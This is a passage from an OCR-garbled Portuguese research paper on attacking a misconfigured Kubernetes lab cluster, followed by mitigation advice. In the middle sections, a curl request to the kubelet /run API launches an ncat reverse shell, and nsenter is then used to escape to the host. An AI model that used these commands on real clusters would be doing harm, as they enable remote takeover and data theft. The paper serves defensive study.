30ab6185860df4a3c21af43ae8eb35d8545a66e90a72a8305d237ef2es5bd2c”, "resources™: {}}]}, "status” {"metadata":{"name": "kube-apiserver-test
dda3fe577a09a4e64","creationTimestamp™:null}, “spec”:{"containers™:[{"name": "kube-apiserver","image":"sha256:b15c6247777d7afd19bo3doe519
“status":{}},{"metadata":{"name":"etcd-testes-errc","namespace™: "kube-system”,"uid":"8675ef172882e4b771d0ad8381974202", "creationTimestd
ha256:0369cf4303ffdb467dc219990960a9baag8512a54boad9283eafs55bd6coadbo34”, "resource 331}, "status™:{}},{"metadata”:{"name" : "kube-sched

0661b22e9ae232b0452c54538", "creationTimestamp™:null}, "spec”:{"containers "kube-scheduler”,"image":"sha256:14cd22f7abe78e59b7
“:{}}1},"status":{}},{"metadata”:{"name": "teste","namespace": "kube-system","uid b8a497d-4637-4640-80f5-7bf59341c8de", "creationTimesy
"debian@sha256:45ee40a844048c2f6d0105899¢1a17733530b56d481612608aab5e2e4048570b" , "resources™: {}}]}, "status":{}},{"metadata™: {"name": "s{
fff-0439-4d63-a055-2aa3068a8395", "creationTimestamp”:null}, "spec”:{"containers":[{"name":"storage-provisioner"”,"image":"sha256:bad5856
,"resources":{}}1},"status":{}},{"metadata":{"name": "kindnet-dq7d6", "namespac kube-system", "ui. 0cd512b6-bo65-4509-8459-80f1dea78
e":"kindnet-cni”,"image":"sha256:2186a1a396deb58f1ea5eaf20193a518ca05049ba6ccd754ec83366b5c8c13d5", "resources™: {}}]}, "status":{}}]}
root@testes-errc-mo2:/tmp#

Figura 9. Atacante realiza requisicao a APl do no gerenciador, apresentando
todos os Pods que estao sendo executados no né.

Como ¢ possivel verificar na Figura 9, a API do kubelet do né gerenciador pode
listar os diversos cont€ineres existentes no no, além disso, os namespaces em que estao
incluidos. Ao listar os pods que estdo sendo executados no n6 gerenciador, existem 0s
que sdo usuais, de administragcao do cluster, e.g., kube-proxy. Porém, nota-se a presencga
de um pod nao normal ao cluster, o Pod Teste que estd no namespace kube-system, que €



utilizado pelo cluster para a administracao deste. Devido ao namespace privilegiado no
cluster e de estar inserido no né gerenciador, ndo € possivel utilizar o comando kubectl
exec como anteriormente. Para executar comandos no Pod Teste, este utiliza novamente
da API, com a func¢do run e utilizando o método POST, a qual executa comandos remota-
mente num cont€iner desejado, como mostra a Figura 10.

drwxr-xr-x root root 4096 Dec 21:2
drwxr-xr-x root root 4096 Dec 21:
- PWXP-XP-X root root 0 Dec 21:21 .dockerenv
drwxr-xr-x root root 4096 Dec 00:00 bin
drwxr-xr-x root root 4096 Oct 09:15 boot
drwxr-xr-x 9 root root 2840 Dec 21:21 dev
root root 4096 Dec 13 21:21 etc
root root 4096 Oct 09:15 home
root root 4096 Dec 21:21 host
root root 4096 Dec 00:00 1ib
ldrwxr-xr-x root root 4096 Dec 00:00 1ib64
drwxr-xr-x root root 4096 Dec 00:00 media
drwxr-xr-x root root 4096 Dec 00:00 mnt
drwxr-xr-x root root 4096 Dec 00:00 opt
dr-xr-xr-x root root 0 Dec 13 21:19 proc
root root 4096 Dec 00:00 root
root root 4096 Dec 21:21 run
root root 4096 Dec 00:00 sbin
root root 4096 Dec 00:00 srv
11 root root 0 Dec 21:21 sys
drwxrwxrwt root root 4096 Dec 00:00 tmp
drwxr-xr-x 11 root root 4096 Dec 00:00 usr
drwxr-xr-x 11 root root 4096 Dec 1 00:00 var
root@testes-errc-m02: /tmp#

Figura 10. Atacante realiza requisicao a APl do né gerenciador, executando o
comando /s -la/ do GNU/Linux, para listar os arquivos do contéiner Teste.

Na Figura 10 o atacante lista os diretorios do cont€iner Teste por meio da API.
Para acessa-lo utiliza um shell reverso, o qual faz a maquina se conectar a sua para con-
seguir execucao de shell remotamente. Para isto utiliza a ferramenta ncat, desenvolvida e
mantida pela organizacdo Nmap.

root@testes-errc-m@2:/tmp# curl - -k -H "Authorization: Bearer $TOK fllroot@testes-errc-m02:/tmp# ncat -lvp 4444
EN" https://192.168.59.2:10250/run/kube-system/teste/teste -d "cmd=ncat 1 jNcat: Version 7.7@ ( https://nmap.org/ncat
02.168.59.3 4444 -e /bin/bash” Ncat: Listening on :::4444

Ncat: Listening on ©.0.0.0:4444

Ncat: Connection from 192.168.59.2.

Ncat: Connection from 192.168.59.2:60466.

root 4096 Dec 13 21:21 .
root 4096 Dec 13 21:21 ..
root @ Dec 13 21:21 .dockerenv
root 4096 Dec 13 22:46 bin
root 4096 Oct 3 ©9:15 boot
root 2840 Dec 13 21:21 dev
root 4096 Dec 13 22:46 etc
root 4096 Oct 3 ©9:15 home
root 4096 Dec : host
root 4096 Dec

root 4096 Dec

root 4096 Dec

root 4096 Dec

root 4096 Dec

root © Dec

root 4096 Dec 22:47

root 4096 Dec 21:21 r
root 4096 Dec 1 00:00 sbin
root 4096 Dec 1 00:00 srv
root © Dec 13 22:18 sys
root 4096 Dec 13 22:46 tmp
root 4096 Dec 1 00:00 usr
root 4096 Dec 1 00:00 var

Figura 11. Atacante obtém execucao de shell remoto no contéiner do pod no né
gerenciador.

Na Figura 11 o atacante consegue um shell remoto no contéiner do pod inserido
no no gerenciador, executando um comando Is -la /. Nota-se que existe uma pasta host no
sistema de arquivos do cont€iner.
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-la executado no diretorio host.

Na Figura 12 o atacante verifica que o sistema de arquivos do né estd montado
no contéiner. A partir disto pode acessar todos os arquivos da miquina nd, em que o
contéiner estd. Entre os arquivos estd o diretério /proc, o qual contém informagdes dos

processos sendo executados.
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Figura 13. Comando /s -la / executado na maquina do no gerenciador, com

acesso obtido via nsenter.

Na Figura 13 o atacante utiliza o nsenter, o qual é um utilitario para executar
comandos em um determinado namespace compartilhado. O atacante utiliza o processo
de PID 1 da maquina hospedeira do n6 gerenciador, o qual corresponde ao processo init



do GNU/Linux. Apds isso, o atacante possui controle total do n6 gerenciador do clus-
ter, pode criar arquivos no nd, editar, apagar, criar novos componentes para o cluster,
etc. Também pode criar diversas maneiras de persisténcia, exfiltracdo/roubo de dados e
recursos computacionais, e.g., hospedar mineradores de criptomoedas.

5.1. Mitigacao

Para mitigar as vulnerabilidades € necessaria uma reconfiguracio dos Pods. Os desenvol-
vedores permitem que os pods utilizem o kubect! no ambiente de desenvolvimento, mas
quando a aplicagdo é aberta para o publico, esta permissao deve ser revogada. Ou seja,
um pod nao deve ter permissao para utilizar o kubectl, a menos que seja uma demanda
extremamente critica da aplicacdo, este acesso deve ser bem configurado para nao permi-
tir exploracdo deste. Esta permissdo pode ser facilmente configurada com o uso de uma
ClusterRole que deve ser ligada a um tipo de conta, e deve ser configurado para que o pod
utilize o tipo de conta correto para suas permissoes.

O acesso a API do kubelet também deve ser restrito, na maioria das vezes so-
mente aos pods do proprio no, aqueles que realmente necessitarem deste acesso para a
execucdo correta da aplicagdo. A API do kubelet do n6 gerenciado permitia que o nd
trabalhador realizasse qualquer tipo de requisicao, mas as requisicoes devem ser limita-
das, um n6 trabalhador ndo deve ter permissdo de executar um comando num contéiner
do n6 gerenciador. O modo de autenticagdo pode ser feito por diversos meios, €.g., gan-
chos de admissao, que irdo verificar se quem realizou a requisi¢ao permite a autorizagao
necessaria. Além disso, o Pod PHP possuia a rede compartilhada com seu hospedeiro
(hostNetwork: true), o n6 trabalhador, o que permitiu que realizasse requisi¢des a API do
n6 gerenciador.

O Pod Teste do n6 gerenciador, pode ser um pod utilizado no ambiente de desen-
volvimento que foi esquecido de ser apagado ou reconfigurado, entdo este possuia diver-
sas permissoes criticas, compartilhamento do sistema de arquivos e compartilhamento de
processos com o hospedeiro. Mais critico € este estar num contexto privilegiado, ou seja,
possui a capacidade como administrador, e.g., CAP_SYS_ADMIN, acessar recursos que
ndo sdo acessados por contéineres comuns. Com o contéiner privilegiado, foi possivel
utilizar o nsenter para executar o processo init como administrador do né gerenciador.
Para mitigar estes erros de configurac@o descritos no experimento pode utilizar-se deter-
minadas declaragdes nos pods:

* hostNetwork: false
* hostPID: false
* securityContext: runAsUser: 1000 privileged: false

Além disso, € necessdrio configurar contas de servigos com privilégios limitados,
somente 0 necessdrio para a execugdo do componente. Com a correta configuracdo da
conta de servi¢o do pod € possivel evitar que seja utilizado o kubectl neste.

6. Resultados

O experimento realizado e demonstrado na Sec¢do 5 mostrou que um atacante possui di-
versas possibilidades para realizar movimento lateral e escalar seus privilégios. As vul-
nerabilidades exploradas poderiam ser mitigadas com o uso de uma configuragao correta
dos componentes do cluster e permissoes.



Neste experimento foram utilizados somente dois nds, um gerenciador e um traba-
lhador, mas podem existir diversos nds no cluster ou, at€ mesmo, somente o gerenciador.
O Pod Nginx permitiu, erroneamente, o uso do utilitirio kubectl, e ainda listar os nds,
pods (Figura 6) e executar shell em outros conté€ineres de pods diferentes do mesmo né
(Figura 7), mas ndo possuia outras vulnerabilidades graves. O contéiner do Pod PHP ¢é
totalmente vulnerdvel e inseguro, além de utilizar o usudrio de administrador do sistema,
1.e., root, que € padrdo ao criar um pod no Kubernetes, compartilhava informacdes com o
seu n6 hospedeiro.

No momento em que o Pod PHP compartilhou a rede com seu né hospedeiro
(Figura 8, permitiu realizar requisicdes a outros enderecos de fora do cluster, burlando
defesas de rede. O acesso a API do kubelet, que € o agente primario em todo e qualquer
no [Kubernetes, 2021a], deve ser restrita a somente determinados componentes do sis-
tema. Porém, com a configuracdo incorreta, o atacante conseguiu realizar requisi¢des a
API do n6 gerenciador utilizando o Internet Protocol (IP) do n6 trabalhador (Figura 9).

O atacante conseguiu listar todos os pods que estavam sendo executados no no ge-
renciador, incluindo os que estavam no namespace kube-system, reservado para os com-
ponentes do Kubernetes. Ao observar a existéncia de um pod diferente do comum, e no
namespace kube-system executou um shell reverso para obter acesso a este (Figura 11).
Ao obter o shell reverso no contéiner do Pod Teste notou a existéncia de um diretdrio
host como ilustra a Figura 14, o qual, ao verificar seu contetido, constatou que o pod
compartilhava o seu sistema de arquivos com o né hospedeiro.

Kubelet

/N
vethO / ethb\

[ Pod1 | || [ Podz |

N6

Figura 14. Diagrama representando o compartilhamento de rede do pod com o
hospedeiro.

O compartilhamento de rede com o hospedeiro permite que o contéineres do pod
possuam acesso a interface de rede principal da maquina, o ’eth0”. Entao, utilizando o
recurso nsenter que permite executar shell em namespaces diferentes da maquina, montou
o processo init do n6 gerenciador e conseguiu acesso total e irrestrito a miquina, devido
ao compartilhamento do processos com a maquina hospedeira.

O processo de exploracao de um cluster mal configurado depende do conheci-
mento do atacante em relagdo ao Kubernetes. Este precisa conhecer como funciona uma
arquitetura de cluster, para entender os seus componentes € o que pode usar a seu fa-
vor. Os componentes do cluster possuem significativo compartilhamento de dados, isso
proporciona uma grande superficie de ataque para roubo de dados.



7. Consideracoes & Trabalhos futuros

O Kubernetes € considerado um dos orquestradores com mais recursos atualmente. Este
nimero expressivo de recursos aumenta sua superficie de ataque. As vulnerabilidades
podem ser exploradas nos mais diversos locais do cluster, afetando a integridade da rede,
ou até comprometendo o né gerenciador.

As politicas de seguranca podem evitar diversos ataques, e.g., SSRF, mas quando
mal configuradas podem gerar vulnerabilidades ao cluster, ou até roubo de recursos com-
putacionais, como descrito na Subsecdo 3.3. O impacto do ataque pode ser maior caso
o atacante consiga realizar o movimento lateral pela rede afetando os outros contéineres.
Como no caso visto na Subsecdo 3.4, na qual um atacante conseguia acesso de admi-
nistrador ao servidor da API do Kubernetes. O experimento na Se¢do 5 demonstrou o
impacto que erros de configuracdo podem causar num cluster, € como 0 movimento la-
teral pode ser realizado até comprometer o né gerenciador. A Subsecdo 5.1 apresentou
alguns meios de mitigar erros de configuracao comuns em ambientes Kubernetes. Sendo
assim, focou-se mais nestas duas vulnerabilidades, pois, sdo as mais comuns de ocorre-
rem em ambientes reais, o movimento lateral € muito caracteristico do cluster Kubernetes
devido a sua comunicacdo interna.

Os trabalhos futuros visam implementar estas e outras vulnerabilidades, além de
CVEs, em um sistema melhor configurado, numa organizacdo que utiliza um cluster Ku-
bernetes nas suas aplicagdes. Os resultados serdo analisados com base no impacto que
teve no funcionamento das aplica¢des que a organizacdo utiliza ou desenvolve.
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